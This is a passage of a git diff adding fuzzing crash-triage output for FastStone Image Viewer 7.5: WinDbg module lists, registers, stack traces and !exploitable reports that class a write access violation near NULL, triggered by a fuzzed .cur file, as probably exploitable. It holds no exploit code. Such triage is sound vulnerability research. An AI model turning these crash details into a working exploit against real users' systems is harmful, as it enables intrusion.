C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(f0c.1fa0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e97b19 edx=00000000 esi=00000000 edi=0f800fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.69701e-016 -2.51438e-028 -1.40994e-038 -2.75203e-035 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002e5000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002e5000 f271097b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6297 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002e5000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27794/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27794/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..19cffbb Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27794/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/28527/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/28527/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/28527/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/28527/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/28527/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..0e06587 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/28527/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/28527/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/28527/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..0f9486d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/28527/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xBC8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xBC8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(bc8.11fc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e37b19 edx=00000000 esi=00000000 edi=07c5afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.712899554094367840000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.190183400000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6.11365e-015 1.30524e-026 -1.49569e-037 -5.66586e-037 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f18130 07e95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00205000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00205000 6867a6e7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b9 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00205000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/28527/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/28527/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..0f9486d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/28527/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xBC8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xBC8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll 